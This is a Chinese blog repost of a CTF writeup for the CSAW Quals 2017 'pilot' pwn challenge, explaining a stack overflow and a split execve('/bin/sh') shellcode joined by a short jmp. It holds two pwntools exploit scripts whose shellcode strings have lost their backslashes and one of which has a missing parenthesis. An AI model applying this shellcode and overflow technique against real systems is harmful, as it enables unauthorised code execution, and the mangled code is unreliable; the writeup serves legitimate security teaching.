我是靠谱客的博主 合适毛衣,这篇文章主要介绍【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot,现在分享给大家,希望可以做个参考。

Linux pwn入门教程(2)——shellcode的使用,原理与变形

0x01 解题思路

  • 查看文件信息并试运行
    在这里插入图片描述

    1. 没有开保护,显示有RWX段。shellcode必须在具有R和X属性的内存空间上才能执行;

    2. 执行时输出了一个地址0x7ffd426b9ca0;

    3. 有用户输入点。

  • 拖入IDA 64bits,F5查看

    main
    在这里插入图片描述

  • 如图所示,红框处分别为输出地址和读取用户输入的伪代码,输出的地址应该是用户输入在栈上的地址&buf。read函数显然存在栈溢出漏洞。

  • 测试一下溢出地址并计算偏移量
    在这里插入图片描述
    在这里插入图片描述
    可以看出输出地址的确是用户输入的地址,而输入点距离RIP的偏移量是40。

  • 由此可以将shellcode放在用户输入的开头,然后将RIP覆盖为程序输出的地址,这样理论上是可以执行shellcode的。初步EXP:

    复制代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    #!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) #context.log_level = 'debug' #io = remote('172.17.0.3', 10001) io = process('./pilot') shellcode = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50x57x48x89xe6xb0x3bx0fx05" #xor rdx, rdx #mov rbx, 0x68732f6e69622f2f #shr rbx, 0x8 #push rbx #mov rdi, rsp #push rax #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location:") shellcode_address_at_stack = int(io.recv()[0:14], 16) log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload += shellcode payload += "x90"*(0x28-len(shellcode)) payload += p64(shellcode_address_at_stack) io.send(payload) io.interactive()
  • 执行之后发现脚本有错

    在这里插入图片描述

  • 在main函数的返回指令处下断点,在脚本中加入gdb的attach语句从而与脚本交互调试
    在这里插入图片描述
    在这里插入图片描述

  • 断下后,可以看到shellcode的确放置在预想的位置,接着单步执行试试
    在这里插入图片描述

  • 单步执行发现,push rdi指令之后的shellcode被覆盖了无法执行
    在这里插入图片描述

  • 这时想到允许输入的字符串长度是0x40=64,输入到RIP的距离是40,而剩余的shellcode长度比24字节小的多,所以可以把shellcode分为两部分,不会被覆盖的放在原处,会被覆盖的放在RIP后面的位置。但是这样就需要一条跳转指令把两步分连接起来执行。除了无条件跳转指令jmp外,其余的跳转指令均会改变寄存器状态。刚好此代码中就有一条jmp指令:
    在这里插入图片描述
    HEX视图:
    在这里插入图片描述

  • 这是jmp短跳转执行,操作码为EB,05是jmp之后的第一条指令到跳转点的距离。shellcode1的末尾与shellcode2的开头之间的偏移量是40 - 22 - 2 + 8 = 24 = 0x18,故需要构造的指令为’xEBx18’
    在这里插入图片描述

  • payload组成:

    1. shellcode1(至 push %rax + jmp 0x18指令)
    2. padding ( 0x10 Bytes)
    3. shellcode_address_at_stack(shellcode1地址)
    4. shellcode2(push %rdi 至 syscall)

0x02 EXP

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) #context.log_level = 'debug' #io = remote('172.17.0.3', 10001) io = process('./pilot') shellcode = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50x57x48x89xe6xb0x3bx0fx05" #xor rdx, rdx #mov rbx, 0x68732f6e69622f2f #shr rbx, 0x8 #push rbx #mov rdi, rsp #push rax #push rdi #mov rsi, rsp #mov al, 0x3b #syscall shellcode1 = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50" shellcode1 += "xebx18" shellcode2 = "x57x48x89xe6xb0x3bx0fx05" print io.recvuntil("Location:") shellcode_address_at_stack = int(io.recv()[0:14], 16 log.info("Leak stack address = %x", shellcode_address_at_stack) payload = "" payload += shellcode1 payload += "x90"*(0x28-len(shellcode1)) payload += p64(shellcode_address_at_stack) payload += shellcode2 #gdb.attach(io, 'b *0x400AE5') #pause() io.send(payload) io.interactive()

最后

以上就是合适毛衣最近收集整理的关于【Writeup】i春秋 Linux Pwn 入门教程_CSAW Quals CTF 2017-pilot的全部内容,更多相关【Writeup】i春秋内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(44)

评论列表共有 0 条评论

立即
投稿
返回
顶部